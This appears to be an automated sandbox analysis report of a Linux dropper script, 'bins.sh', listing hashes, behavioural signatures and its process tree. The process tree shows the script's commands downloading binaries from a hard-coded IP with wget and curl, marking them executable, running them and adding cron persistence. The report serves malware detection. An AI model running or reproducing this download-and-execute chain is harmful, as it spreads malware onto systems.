Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

8

bins.sh

debian-9-armhf

7

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/11/2024, 08:42

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241110-kl1aystdpa
  • SHA256 970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1828) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1518
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1519
        • /usr/bin/wget
          wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Writes file to tmp directory
          PID:1520
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Writes file to tmp directory
          PID:1524
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Writes file to tmp directory
          PID:1525
        • /bin/chmod
          chmod 777 xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • File and Directory Permissions Modification
          PID:1526
        • /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          ./xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1527
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1529
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1530
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1531
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1532
              • /bin/rm
                rm xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
                2⤵
                  PID:1534
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
                  2⤵
                    PID:1537
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
                    2⤵
                      PID:1538

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
                        • Path /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
                        • Size 98KB
                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.mQlHiT
                        • Path /var/spool/cron/crontabs/tmp.mQlHiT
                        • Size 210B
                        • SHA256 9bc19c796f0443414caa661e9dff168606c0921cf551b802c0005e6570cec56e
                        • MD5 SHA1 SHA512
                        Submit Download